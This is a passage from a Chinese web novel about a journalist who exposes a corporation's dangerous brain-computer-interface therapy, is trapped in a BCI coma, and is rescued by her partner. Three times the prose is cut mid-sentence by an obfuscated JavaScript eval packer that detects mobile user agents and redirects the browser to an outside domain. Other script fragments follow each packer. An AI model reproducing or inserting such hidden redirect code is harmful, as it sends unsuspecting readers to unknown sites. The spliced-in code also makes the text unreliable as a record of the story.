祝渺有些哽咽，忍不住伸手，揉了揉他松散的头发：“一切都过去了。” 顾忱抓住她的手，摇摇头。 “还没有，没有过去。” “什么意思？” 顾忱沉了沉声，严肃道：“我怀疑，我这次的昏迷，就是顾凛设计的。” “我想起来了，新闻上说，就是他让你使用的脑机设备进行治疗，你是怀疑，他是故意的？” “是的，这么多年来，他一步步取得父亲的信任，将许多研发项目交给他管理，他不知道是怎么说服父亲，让我做脑机测试的实验者，之后我就陷入了昏迷。” “那你的意识为什么会进入游戏？” “这我也不清楚，但是这款游戏也是他手下管理的业务之一。” “也就是说，这两者之间必有关联。” 这件事背后定有蹊跷，说不定顾凛还是不会善罢甘休，毕竟顾忱越长大越健康，对他的威胁就越大。 若是顾凛在顾家的地位越来越稳，那顾忱就危险了。 顾忱看出了祝渺的担忧，很是满足：“不要担心，渺渺，接下来的日子，我会想办法解决问题。” 他颇为遗憾：“只是……可能不能经常陪你了。” 祝渺想到原文里，顾忱大概是二十出头年纪轻轻就开始继承家业，然后一直稳坐顾家掌门人的地位。 压根没有他这所谓的哥哥这么一回事。 那应该没什么好担心的。 祝渺信心十足地鼓励道：“没关系，你家里的事我可能帮不上什么忙，但你做什么我都会支持你的，我相信你。” 话刚说完，祝渺忽然想起来什么，觉得自己说早了。 赶忙补偿：“呃……但是咱们可不能做违法乱纪的事情啊！” 顾忱又笑了：“嗯，听渺渺的。” 紧接着，祝渺好奇地问：“你在游戏里究竟遭遇了什么？” 顾忱隐隐约约有提起过，但从来没有细说。 顾忱这次也是一样摇摇头：“只是一些不怎么好的回忆而已，不重要的，渺渺。” 他不愿意回忆起，祝渺也不愿意多问。 只是她还好奇：“那你自从游戏世界里出来后，如果我不愿意和你在一起，你会怎么样？如果我抗拒你，你真的会把我关进游戏世界里一辈子？” 她的目光平静中带着探究，顾忱虽然对情绪较为迟钝，但也能感知到，要是他说真的打算这么做……那他可就危险了…… 顾忱微微侧目，“说实话……我也不知道，我只知道，我当时没有办法控制自己，你的样子和我所有记忆里的样子一模一样。或许是不一样的，但我能感觉到，无论是小时候的你，还是游戏里的你，那都是你。” “我真的害怕，又一次失去你，所以我是真的想和你永远在一起，哪怕那是游戏世界里。或许最终我会清醒认识过来，但当时我只想，即使能欺骗自己一阵子，也好。” 哪怕是假的，他也想这么做。 可是现在，他好庆幸自己没有那样去做。 能够在一个真实的世界里拥有渺渺，这是他最最幸运的一件事。 40. 第 40 章 上学的日子，时光过得飞快，转瞬又是便一年又一年过去。 过完这个年，祝渺就会迎来大学生涯的最后一个学期——再过半年，她就要毕业了。 考量再三，她没有选择继续读研，而是选择了成为一名新闻记者，因为她成功收到了华东电视台的校招生offer，她在电视台实习了很久，这份工作她非常喜欢。 而顾忱也已经早早进入了顾氏，虽然顾忱的父亲——顾知山对他并不好。虽说让他进入顾氏，但所有重要产业和项目仍然在顾凛的手上。 祝渺知道，若是进入顾氏，顾忱就必然会遇上顾凛，这个危险的男人，祝渺十分担忧顾凛会再次对顾忱不利。 但还好，根据她所知的原著剧情，顾忱应该是早晚会把顾氏收为己有的，顾凛应该不会是顾忱的对手，这只是时间早晚的问题。 虽然剧情已经产生变化，但她对顾忱的能力充满信任，因此她便将自己的担心放回了肚子里。 她如今更担心的，是另外一件事—— 从昏迷中醒来之后的一年，顾忱忽然开始出现了一些后遗症…… … 顾氏公司门口。 顾忱从公司大门口走出来，他穿着一身西装，身材笔挺，逐渐褪去了初遇祝渺时的少年感，多了几分沉稳，他站在路上，依然是最瞩目的存在。 若说有什么不同，便是与渺渺相处的这几年，他周身的气质比起过去的冷冽，似乎温和了不少。 祝渺见到他，加快脚步奔向顾忱。 顾忱见到她飞奔而来，眼眸一亮，伸开双手将眼前的人拥入怀中。 拥抱热烈爱着的人，这是十分自然的事。 祝渺今天心情不错，笑得眉眼弯弯。 “今天难得下班都早，我们今晚吃什么？” 顾忱：“回家我给你做？” 想了想，又觉得不太合适。 “可是那要做很久，你会饿。” 顾忱揽过她的肩，一起坐上车。 祝渺一边系安全带，一边道：“那就给我做个白人漂亮饭吧。” 顾忱：？“你说什么？” 祝渺笑，“就是西餐啦，煎牛排，拌一点蔬菜沙拉，你做得又快又好吃。” 顾忱恍然，笑了笑，应了声好。 他们依然住在同一个公寓里，只是很多东西慢慢有了变化。 祝渺为公寓增添了很多东西，比如可爱漂亮的手办盲盒，放置了一列展柜，琳琅满目，展柜中心还有他们两个人的Q版小手办。 冰箱上都是他们的合影，还有很多旅游的照片和纪念品。 在这几年里，他们就和一对普通的校园小情侣一样，会一起上课下课，一起参加活动，一起在寒暑假出去旅行，也会时常因为课业忙碌时常分开，也会偶尔争执闹别扭。 几年时光就这样电影般匆匆而过，留下满屋子记忆的碎片。 … 祝渺坐在餐桌前看着顾忱下厨，一边打开电脑开始写稿。 等她写完稿，牛排也端了上来，正滋滋冒着油，香气扑鼻。 祝渺美滋滋合上电脑。 “忱忱的厨艺越来越精湛了～”她哄人的技术也越来越自然了。 ——每日一哄，令男朋友找不着北，把男朋友勾成翘嘴。 顾忱嘴角暗暗微扬，表示十分受用。 他们这段时间都很忙，这样两个人什么事情也没有，无所事事相处的平静日子并不多。 而这个时间仿佛过得飞快，夜色一下子席卷整个城市。 祝渺看着窗外闪烁的灯光，深深叹了口气，像是要把这段时间心中的郁结全都放下。 浴室传来哗啦啦的洗澡声。 一会儿，水声停下，脚步声从背后传来。 祝渺正要转身，便被一个热腾腾的拥抱禁锢住。 他没穿上衣…… 虽然在一起几年了，可是祝渺还是会觉得不好意思。 他的体温随着肌肤的接触传递过来，还带着一些微凉的水汽。 随即热烈炙热的吻便落了下来。 身后是软绵绵的床榻，身前是肌肉紧绷的男人气息。 强硬，又带着极力克制的温柔。 在失控的呼吸间，祝渺觉得有些窒息之时，面前的男人忽然动作一顿。 他在祝渺耳侧趴下，露出痛苦的神色，紧接着倒在她怀里。 祝渺脸色一变，赶紧将人搂住。 扶住他的额头，微微渗出的汗水润湿了她的指缝。 “我去给你拿止痛药。”祝渺心中一紧，有些慌张道。 将他安置在床上，祝渺刚要起身，就被顾忱伸手拉住，拽回了他怀里。 “没有用的。”他声色低沉，祝渺知道，他是在隐忍痛楚。 她瞬间觉得浑身都被卸下了力气，一时间浑身无力，不知能做什么，只能安安静静躺着陪他。 她的眼眶逐渐泛红，隐隐的泪光再也克制不住。 顾忱睁开眼，起身轻轻吻住她的脸，一边被疼得嘴唇颤抖发白，一边吻去了她脸上的泪水…… 两年了。 整整两年，顾忱时不时就会受这样的痛楚折磨。 第一次发生这件事时，祝渺以为顾忱只是生了一点小病而已，可是去了医院做检查也没有查出来到底是什么原因。 祝渺思来想去，还是把这个病因归因在顾凛让顾忱做的脑机治疗上。 可是，查不出病因，也没有任何证据。 顾忱想在顾氏内部进行调查，可顾凛这人做事严谨，这批产品经过顾凛所谓的改良与升级，与顾忱刚开始接触的产品已经有了很大区别，只从表面的报告与产品信息上看，看不出任何问题。 一年多之前，在顾凛的大力研发和推广之下，顾氏集团就已经把第一批脑机投入了医疗市场，获得了很不错的市场反馈，现在在医疗领域使用脑机进行治疗的用户越来越多。 可是，因为顾忱的原因，祝渺始终觉得对脑机技术保留着怀疑态度。 顾忱大概是在使用脑机一年后出现的不良反应，那么使用第一批脑机进行治疗的这批用户，也应该会有人出现不良症状。 祝渺从事新闻工作的期间，始终没有放弃过调查这批脑机用户，这段时间，她已经查出了不少端倪。 虽然她的领导周舟姐并不是很支持，但也没有阻止她的调查。 就在这一年里，调查虽然困难，但她绝对不会放弃…… 寂静的夜里，祝渺陪伴着顾忱躺在他身边，脑中想了许多。 祝渺不知道自己什么时候睡着的，但是第二天睁开眼时，顾忱已经面色如常地看着她。 顾忱指尖把玩着她的发丝，在她耳边暗哑着声音轻声道：“我们继续昨晚没做完的……” 说完，他就倾身上前。 祝渺还没来得及清醒，又陷入一阵晕头转向之中…… 昨晚不是还头疼得死去活来吗，怎么一下就生龙活虎了……！ 然而很快，她的意识就消失在了一片混沌之中…… * 无所事事的周末过得格外迅速。 第二天工作日，祝渺去电视台了。 走进办公区，和她的领导周舟姐打了个招呼。 周舟姐：“渺渺，有件事，我想你应该很想知道。” 祝渺心下顿时了然：“是关于脑机是吗？” 周舟：“没错。” 周舟姐告诉她，电视台又接到了一个普通民众的来电采访申请，她也是通过接线员那了解到的。 这位民众来电请求采访的原因中，就有关于脑机治疗的问题。 祝渺听说后，立刻收拾设备，准备联系受访者去到现场。 周舟见她急匆匆收拾东西，走到她身边。 “渺渺，我告诉你这件事，是尊重你的知情权，可是你知道的，我一直不赞成你一个人独自调查这件事。” “周舟姐，我想去。”祝渺坚定道。 周舟叹了口气，摸了摸她的肩膀。 “追求真相，这是好事，可是你要知道，脑机治疗真的有问题，将对社会产生巨大的舆论影响，并且……你也会很危险。” 要知道，脑机治疗技术这两年已经的使用面积已经逐渐扩大，不仅投入精神与心理治疗，还将投入更多治疗当中，并且有太多人盲目信任与夸赞脑机技术。 这项技术的背后，还是庞大的顾氏集团。 祝渺感激地看着周舟。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15624798|169057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “谢谢您的提醒，周舟姐，我知道很危险，可是我有必须要这么做的理由。” 祝渺拿出一个u盘，放到周舟手中。 “这是我之前调查过所有的采访记录，这些都是很重要的信息，我多拷贝了一份，交给你保管。” 祝渺与周舟姐共事以来，知道周舟姐虽然深谙职场之道，常常不免妥协于世俗压力，已经不是个会为了揭露真相充满热血的新闻从事者，但是她相信周舟姐的人品和专业。 周舟收下u盘。 “好，你去吧。” … 这位受访者是一位大约年纪四十的妇人。 她年纪并不大，但看起来却十分憔悴，头上已经出现了好几缕银发，眼神空洞，唯有在见到祝渺来到时，眼中才有了些希望。 祝渺见到她的一瞬间，只觉得心一紧，但为了保持专业的态度，她还是控制住了自己的表情。 祝渺架好了拍摄设备，镜头对准了这位妇人，她才收起了伤心同情的情绪。 祝渺：“可以讲述一下您的经历吗？” 妇人道：“我的女儿，才十五岁，她去世了……在那之前，她接受了脑机治疗。” “她是为什么会使用脑机呢？” “我们的家庭并不好，我平时忙于工作，是我疏忽了她，我没有发现她在学校里遭遇校园暴力，被人欺负了也不敢和我说，后来她就得了抑郁症，我发现的时候已经晚了，我想了很多办法，带她去治疗，都没有用，直到我听说了脑机。” “所以是为了治疗抑郁症，所以让您的女儿使用了脑机技术，是吗？” 妇人陡然激动，掩面大哭了起来。 “他们都说这个治疗很靠谱，很有用！所以我就算倾家荡产我也要治好她……我好后悔，好后悔……” 在妇人的崩溃之中，祝渺迟迟没能问出下一个问题，等待她情绪稳定下来才继续。 可问题的答案已经十分明显。 在脑机的治疗中，她女儿的抑郁症得到了改善，可是过了一年后，她逐渐出现昏迷、嗜睡、头疼等各种后遗症。 没过多久，年轻的女孩再也没有醒来。 祝渺如实记录下了这些。 这位受访对象的女儿，是她采访过来，后遗症最严重的患者。 她将用最沉重和谨慎的文字，去阐述这件事。 * 回到公寓，祝渺在书房，将所有搜集到的信息内容整理成册。 加上今天这位母亲，她已经采访了不下七位受访者。 只是，还缺少了一些关键性的证据，可是这些证据如果不通过脑机实验的相关人员，凭借她自己很难拿到。 顾忱又没有相关的权力，而且若是让顾忱去做，就必然会撞上顾凛，她不想让顾忱去冒这个险。 要知道当初，就是顾凛利用脑机所谓的精神治疗技术，把顾忱给弄昏迷过去。 就在祝渺陷入沉思之时，顾忱进门，从背后抱住祝渺。 “调查顺利吗？” 祝渺摇了摇头。 “不是很顺利。” 祝渺不想告诉他，自己已经调查到了好几个脑机治疗的后遗症患者，并且已经整理好内容，准备做成深度报道了。 她怕他会担心自己，为了自己而去冒险。 顾忱低头，垂下漆黑的眼眸。 “我暂时没有办法阻止顾凛，对不起。” “这和你有什么关系？这不是你的错。” “我会阻止他的，渺渺。”他低声承诺。 他也一样，没有告诉祝渺，他已经找到了一个人，那人就是在暗中秘密参与脑机研发过程的许博士，因为他不想让祝渺受到更多的危险。 大概大半年前，他也曾和祝渺提起，希望不要继续深入调查，他怕顾凛察觉后会对她不利。 可是祝渺却对他说：“我是新闻记者，我没有办法治好你的病，但我可以想办法揭露这一切，让更多的人不再受伤害。” 他知道，渺渺虽然这样说是为了所有人，但最最开始的出发点，就是为了他。 但无论为了谁，他都没关系。 若是为了所有人，他也会骄傲地想，他的渺渺，总是如此明媚照人。 41. 第 41 章 “喂？” 祝渺又一次接到一个受访者的电话。 对面是一个女声。 “您好，我是脑机的实验人员之一，我知道你是记者，你在调查，我有话想和你说。” 对方约在了自己的住所。 这在祝渺的工作中，这是常有的事，祝渺常去受访者家中进行访问，这会让受访者更有安全感，愿意诉说更多事。 祝渺来到对方家门口敲了敲门，开门的是一个大约年纪三十多岁的女人。 她说她叫陈立芳，已经从事这项科研很久了，只是后来顾凛介入投资这项研发技术后，她就逐渐被边缘化了。 陈立芳递给她一些资料。 “不知道对你是否有帮助。这是我们最初开始把这项技术投入精神治疗的数据。数据上来看，后遗症会在一到两年后开始产生，严重者甚至会脑死亡，这个比例大概高达百分之一。” 百分之一，也就是说在一百个人里会有一个人失败……若有一百万人使用，就会死去一万个人失败。 一群人的百分之一，于那百分之一的个体来说，就是百分之百。 这对人类来说是历史性的突破，可是若要付出沉重的代价，那便是失败的。 “谢谢你，虽然只是早期数据，但也很有用。”祝渺拿过资料，离开这里。 她没有看到，她离开之后，陈立芳脸色一边，露出了一个得逞的笑容。 回公司的路上，祝渺觉得有些累了，买了一杯咖啡，想要提提神。 边喝边走出咖啡店，快抵达电视台的路上，手机电话铃响起。 祝渺打开手机，看到来电人是顾忱。 刚要接听，却在下一瞬失去了意识…… … 一个废弃的实验基地。 顾忱站在许博士面前。 许博士的实际年纪其实并不算是十分年迈，但是面容却显得格外沧桑，原本头发就白，现在已经比过去更加花白了。 他叹了一口气。 “五年前开始，我就已经在为顾凛进行秘密的脑机实验。后来没想到，顾凛会让我利用脑机技术，让你永远昏迷，不要醒来，让你昏迷这件事情是我做的没错，但这并不是我的本意。” 他一直以来都对顾忱抱有歉意，这也是为什么他如今愿意和顾忱交流的愿意。 许博士拿出了一叠厚厚的文件，递给顾忱。 拿给他，又一边道： “当年，因为你的脑机系统与游戏系统意外融合，导致你意外醒来，顾总很生气，之后我就逐渐被实验项目给边缘化了。” 顾忱拿过资料翻了翻，上面记录了实验的旧数据。 没催，这才是真实的数据。 这些数据里，产生后遗症的概率比市场标准高了五倍。 至于他之前查到的那些资料，用来应付监管的实验数据，全部都是顾凛伪造的。 顾忱翻看资料，越看越发眉头紧促，“那现在替顾凛做项目研究的，是谁？” 许博士拿出一张照片。 “是我的学妹，陈立芳。” 听到这个名字时，顾忱的心“咯噔”一下，瞬间沉了下去。 他立刻拿出手机，打开不久前祝渺发来的最后一条消息。 祝渺：【她是顾凛手下脑机实验的前研究人员，名字叫陈立芳。】 调查有了突破性的进展，因此祝渺忍不住分享给了顾忱。 陈立芳……是顾凛的手下！ 而渺渺刚刚见了这个人！ 陈立芳不可能出卖顾凛，那么一定是她故意找上了祝渺。 是故意的吗？顾凛安排的吗？ 猜测纷纷从脑海中闪过，顾忱心头涌上一阵恐慌。 他立刻给祝渺打电话。 快接，求你快接通…… 然而，电话那头再也没有人接听。 顾忱周身的气场越发冷冽与可怕。 三年了，他已经很久没有这样的感受，他隐隐感觉自己又有开始失控的预兆。 失去祝渺的恐惧、愤怒、不甘，所有的负面情绪融汇混杂之后，忽然变得荡然无存，空空如也。 就像是所有五彩斑斓的颜色融汇，化成了的颜色是……无尽的黑色。 顾忱攥紧了手中的手机，只觉得眼前一黑，耳畔一阵嗡鸣。 深呼吸了一口气。 他的大脑这才恢复了片刻平静和清明。 顾忱眼眸幽深。 顾凛……一定是顾凛！他必须要去找顾凛！ * 顾氏，顾凛办公室。 顾凛正拿着查看着助理发来的最新治疗数据，冷漠的眼神中透出狠厉阴沉。 “处理完了吗？” 助理毕恭毕敬：“是，陈立芳已经把人控制住了。” “我这个弟弟年纪不大，还没毕业，就有些手段了。没想到他的女朋友也有点本事，还是个记者，要是曝光出来，还真是个不小的麻烦。” 顾凛点了支烟，吐出一口烟圈，徐徐上升。 “所以我只好使用一些非常手段了，可别怪我啊弟弟。” 助理恭恭敬敬地交代完公司内大大小小各项事情，正准备退下，却脸色猛然一变。 “顾总……” 助理面色不太好看，顾凛掐灭了烟，皱眉。 “怎么了？” “顾总您看。” 顾凛接过助理递过来的平板，屏幕上是一篇华东电视台官方账号发布的最新报道。 标题赫然一排大字：《揭露脑机实验真相：被隐藏的治疗后遗症与失败率》。 这是一篇全文长达上万字的报道，将各位受访者的背景、治疗后产生的后遗症全部事无巨细向世人展开，最后还附上了一份真实的实验数据。 该篇报道一经发布，立刻引起大众舆论哗然。 “怎么可能？！”顾凛瞳孔地震。 他明明已经让陈立芳解决了祝渺。 难道还有其他人？ 顾凛立刻细想了一番。 陈立芳虽然拿了实验数据资料，以此获得祝渺的信任，可是她绝对不可能背叛自己。 至于许博士，顾忱不应该找得到他才对。可若是真是他……这确实是最大的可能。 顾凛起身，穿上外套，往外走去。 踩下油门，发动车子，顾凛疾驰而去。 许博士早已被他关押在废弃的实验基地，他也已经两年未曾踏足这里。 走进许博士实验室的一瞬，顾凛忽然间身体一阵电流涌过，立刻两眼一黑，栽倒在地上。 许博士从一旁的角落里走出来，手中拿着的电棍棒还在滋滋冒着电流，手也还在微微颤抖。 他将电棍棒交给走来的顾忱。 “顾先生，之后就交给你了。” …… 顾凛睁开眼时，已经在一个似乎是地下室的地方。 他的双手被捆绑在椅子上，他试图挣扎了片刻，却仍然动弹不得。 一簇微弱的火光在黑暗中跳动。 顾凛声音虚弱：“是谁？” 脚步声靠近，顾忱面无表情的脸出现在火光之中。 见到来人，顾凛轻笑一声。 “原来是我亲爱的弟弟，看来我还是小瞧你了，你这两年在公司也积累了不少人脉和实力啊，这片废弃基地和许博士都让你找到了。” 顾忱声色凌然：“你不配喊我弟弟。” 顾凛笑了，笑得令人不知他是什么情绪。片刻后，他收起了笑，挑衅地看着顾忱。 “你是为你的小女友来的吧？真好啊，你这样一个不正常的小变态，居然还有人一心一意地爱着。” 顾忱眼眸微动。 “你把她怎么了？” 顾凛平静开口：“关起来了，关在一个永无天日的世界，就像当初的你一样。不过，我不会告诉你她在哪里的，你这辈子都不会找到她了。” 说完，他认真盯着顾忱的反应。他期待他表现出崩溃、抓狂、失去理智的样子。 没想到，这句话并没有激起顾忱失控的情绪。 顾凛觉得不爽。 “果然是个不正常的小变态，听到这样的话，居然还没有一点反应。怎么，不伪装正常人了？” 顾忱眼眸幽深，沉沉地看着他，眼中是看清一切的漠然。 他开口道：“伪装正常人的人，是你吧？” 顾凛脸色一变。 挑衅的眼神也差点支撑不住。 没错，他说得对。 伪装正常人的、不正常的家伙，一直都是他自己。 从小他有记忆开始，他就跟着自称是他母亲的女人受苦，他们明明应该是相依为命，可母亲却并不关心他，平时对他非打即骂。 他好恨啊，每被打一次，他的心中就多怨恨一点点，以至于他心中有无数的怨气和暴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15637692|169057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 戾积攒，越来越多，无处发泄。 某一天，他跟着母亲来到了顾家，那是他第一次知道了，自己原来是有个父亲的，甚至还有个……弟弟。 他的弟弟不受父母喜欢，这个弟弟的亲生母亲后来也去世了。 所以，他得到了爸妈所有的爱。 可是哪怕父母对他再好，再偏心于他，他的心中也依然充满怨恨。 他逐渐知道了，自己从来都没有爱一个人的能力，生理性地讨厌这个世界，讨厌所有人，甚至也讨厌他自己。 可是在羽翼未丰之前，他年纪还小之时，他只能在爸妈面前隐藏真实的自己，装成一个有礼有学识的人，仿佛家里唯一不正常的人只有顾忱一个。 可是只有他自己知道，他从来没有爱过人，也不会爱人。 一点点也没有。 他对人只有恨意。 那是与生俱来的一种恨意。 他看着顾忱长大，越来越成为一个正常人，学会了获取父亲的信任，他开始急了，他什么都没有，更不能有人夺走他的权势地位。 于是他想办法对付顾忱，让顾忱永远不要再醒来…… 可是没想到，顾忱不仅醒了，而且变得更加让他不懂，他一个小怪物，为什么越来越比他像一个正常人了？ 并且，他居然，爱上了一个女孩，这个女孩，居然也爱着他？ 凭什么呢？ 凭什么他可以？ 顾忱看着他的模样，冷笑出声。 “顾凛，其实你才是那个最可怜的人。你连爱一个人的能力都没有。也没有人会爱你。” 顾忱拿出了那份许博士给他的资料，从厚厚一叠中，抽出其中一份资料。 这份资料的实验对象是：顾凛。 “脑机实验的开始，是为了你自己，对吧？” 顾忱也是看到这里时才明白，顾凛一直在拿自己当做实验对象。 看着他手中那份实验数据，顾凛开始大笑。 顾凛：“对，没错，是为了我自己。” 他在脑机实验中，一次次模拟自己小时候的场景，在那个世界，他就是主宰一切的力量。 他需要一个爱自己的母亲，他想要多爱，就有多爱。 他想要一个从未抛弃过自己的父亲，想要优渥的家庭，想要贴心永远听自己话的女朋友，甚至是一个和自己一起长大的兄弟，都可以。 只需要输入程序设定就可以了。 可是……他还是感受不到爱。 此刻，顾忱冰冷的话语传入顾凛的耳朵。 “顾凛，因为那些，都是假的。” 顾凛终于流露出一个释然的苦笑。 “对，都是假的。” 他心里清楚。 说完，顾凛只觉得大脑一片空白，他的脑袋开始剧烈疼痛。 顾忱瞳孔微缩，短暂的惊讶过去，又立刻恍然。 其实，从实验数据就已经可以知道，他已经是实验的失败对象。而且应该是后遗症最严重的那一批。 顾忱问道：“快告诉我，渺渺在哪里。”语气中有他极力隐藏的急切。 顾凛眼眶发红，似乎在努力听清他说的话。 即将昏过去前，他终于眼神空洞地开口。 “实验基地x座底下二层07号房间……” 话音刚落，他就失去了意识。 顾忱立刻夺身而出。 方才和顾凛对峙的淡定、漠然，瞬间荡然无存。 顾凛失去意识前的一瞬，忽然在想，他还想要告诉顾忱，他给顾忱使用的那台脑机，其实已经是最接近完美的最成功的一台脑机。 他想让顾忱永远陷入昏迷，不要醒来，永远掉落生活的黑暗之中。 可是他从来没有想过要他的性命。 因为在他心底里，他们是难得的同类，在正常人眼里，他们都是不被人认可的异类。 * 实验基地x座底下二层07号房。 顾忱赶到顾凛说的这个地方前，他的大脑意识都处在宕机之中。 打开门，看到祝渺的一瞬，他才感觉自己的意识逐渐回笼。 冰冷的机械的病房，祝渺静静地躺在病床上。 在安静的地下，心电图平稳跳动，心跳的机械音回档在整个房间，格外明显。 顾忱松了一口气。 直到，他看见，祝渺的大脑，被接满了电线。 42. 第 42 章 许博士对祝渺做了一番检查。 祝渺这是被陈立芳接入了和顾忱当初类似的脑机系统，陷入了昏迷之中。 顾忱站在许博士面前，低垂着眼眸，看着祝渺沉睡的面孔。 “有没有什么办法，可以让她尽快醒来？” 顾忱的声色里，是自己也没有觉察的喑哑，像是微微带着哭腔。 他反复挣扎，才没有陷入失控的情绪里。 许博士犹豫道：“之前给顾凛做实验时存在过这样的情况，忘记现实中的事，若是一直想不起来，她就会一直被困在脑机世界里。她恢复记忆的时间也不确定，可能很快就想起来，也可能一直都想不起来。” 没想到，顾忱沉默片刻后开口。 “把我送到她的意识世界，我来唤醒她，可行吗？” “这……”许博士没想到他会想这样做。“理论上是可行的，但之前没有人敢这么尝试。” 毕竟这样冒险的风险实在太大了。 一个不好，有可能两个人都会永远陷入昏迷。 然而顾忱很坚持。 许博士只好无奈答应。 在许博士准备给顾忱接入脑机设备之前，顾忱喊来了秦洛。 秦洛是祝渺最好的朋友，一直以来也大概知道一些他们两个人之间的事情。 把来龙去脉都和秦洛解释了一番后，秦洛立刻表示了强烈反对。 “那你们如果真的都醒不过来了怎么办？” 顾忱伸手摸了摸祝渺的脸。 “如果我们都醒不过来，那我就一直陪着她，在另一个世界陪她。” 一如当初她进入他的世界陪伴他一样。 秦洛眼见他的坚持，反对的话也说不出口了。只能带着担忧留下一句：“那你们一定要平安醒来。” 顾忱应下，拿出了两封信件，交给秦洛。 “可若是我们真的没能醒来……这些，都交给你了。” 一封信件里，是公寓的密码，里面有他和祝渺生活的所有东西。 另一封信件，是他交给渺渺的父亲的。 秦洛接过东西，没忍住，背过身流下了眼泪。 顾忱俯身，在昏睡的祝渺额间轻轻触碰，留下一个吻。 顾忱心想：渺渺，过去是你把我从脑机世界里带出来，这一次换成我来救你。 * “好热啊……” 夏季的蝉鸣声落入祝渺的耳中，将祝渺从床上直接吵醒了。 祝渺睁开朦胧的睡眼。 映入眼帘的，是一个熟悉又陌生的房间。 咦……？她怎么会在这里？ 她不是穿到了书里的世界吗？ 她记得她在书里待了几年才恢复记忆，为了摆脱原著的悲惨结局，刚刚和书里的爸爸祝召年一起搬到临北，开始新的生活。 怎么才开始新生活没几天，她又穿回来了？ 没错，这是她原来的家。 ——她穿书之前，现实生活中的家。 祝渺的爸妈离婚得早，没多久就再婚了，只留下她一个人住在学校附近的房子里。 所以从小到大，都是她自己一个人生活的。过去还有个保姆阿姨照顾她，可前两年，保姆阿姨为了回家带自己的孙子，也离职走了。 那时候爸妈还时常关心她，可随着她越来越长大，爸妈就几乎彻底不再管她了。 还好，她已经可以自己生活了。 虽然只有自己一个人，但是至少在金钱物质房面条件都没有怎么亏待她，爸妈虽然不管她，但好歹是亲手父母，还是会按时打来零花钱，保证她生活无忧。 祝渺拿出手机看了看。 正好，她妈妈发来了消息。 【转账：5000元】 妈妈：【这个月的生活费，不够的话记得和你爸要。】 她妈妈和一个有钱的叔叔结婚了，他们刚刚又生了一个孩子，所以她妈已经很久没有见她。 她爸爸也发来了消息。 【转账：6000元】 爸爸的留言就很简单。 爸爸：【生活费。】 祝渺刚才还觉得对这个世界感到有些陌生，没想到，爸妈的消息一下子让她过去尘封的记忆被打开。 她爸妈一向如此，给她不少钱。 只是…… 她看了一眼日期，如果没记错，今天应该是她原本的生日。 可是她爸妈没有一年记得过。也或许是记得的，只是刻意选择了忘记。 没关系，这对她来说，是很习惯的事情。 虽然爸爸妈妈从不关心她，可是至少，会给她很多钱。 她已经拥有很多很多了。 她想。 只是这一刻，她竟然会忍不住想起书里那个世界，只与她相处了几年的爸爸。 祝召年好像就是完全不一样的父母呢，总是很关心她，陪着她，也尊重她。 那是她从来没有体验过的。 只是……命运弄人。 老天竟然给了她两次穿梭时空的机会。 也好……至少拥有过这样一段经历，虽然只有短短几年，但也没什么遗憾了吧。 祝渺擦去了眼角隐隐要落下的眼泪，打开手机看了看日期和自己的消息记录。 啊，现在的年份和日期，她应该是刚刚要上高中，现在正是暑假，大概再过一个月就开学了。 祝渺还有些沉浸在刚穿回来的迷糊中，觉得有些饿了，便起床煮了一碗面，随便吃了吃。 煮面之前，祝渺下意识地煎了一个鸡蛋。 奇怪，这是谁的习惯呢？ 她以前从来都是打蛋花，不煎鸡蛋呀。 想不明白，她又继续煮面。 煮面是很快的，捞出一碗热腾腾的鸡蛋面，很快吸溜了起来。 可是……她总觉得，自己好像忘了什么事情。 似乎应该有个人，总是给自己做各种好吃的。 可是，是谁呢？ …… 祝渺想不明白。想不明白……那便不想了。 于是她振作了一下精神，又决定安心过起了暑假。 她的暑假生活一如过往，就是吃吃睡睡，上上网冲冲浪，玩玩游戏看看小说。 就这么一直躺平到开学这一天。 她曾经读了三年的高中，虽然好多年没有读过高中，但她仍然很熟悉。 学校就在离家大约一两公里远的位置，过两条马路，只需要步行十几分钟就可以到了。 这天，祝渺收拾好了东西，一早就出发去学 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15649661|169057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 校。 学校附近的路都很窄，这天是开学，来送学生的家长不少，有些拥堵。 祝渺是步行，所以选择了一条人比较少的路。 没想到，她刚刚穿过一条交叉小路，走到路口时，拐角突然驶出来一辆黑色汽车，似乎还是一辆豪车。 祝渺吓了一跳，连忙往后躲了几步，却一个不小心摔倒在了地上。 ——摔了个屁股蹲。 眼前这辆黑色豪车猛地刹车，立刻停下。车里的人打开门走了出来。 车主是一个年轻的男人，身形修长笔挺，像漫画里走出来的青年，这身材简直比模特还要模特。 看到他的脸时，祝渺恍惚了一瞬，一下子都忘了自己摔得屁股疼了。 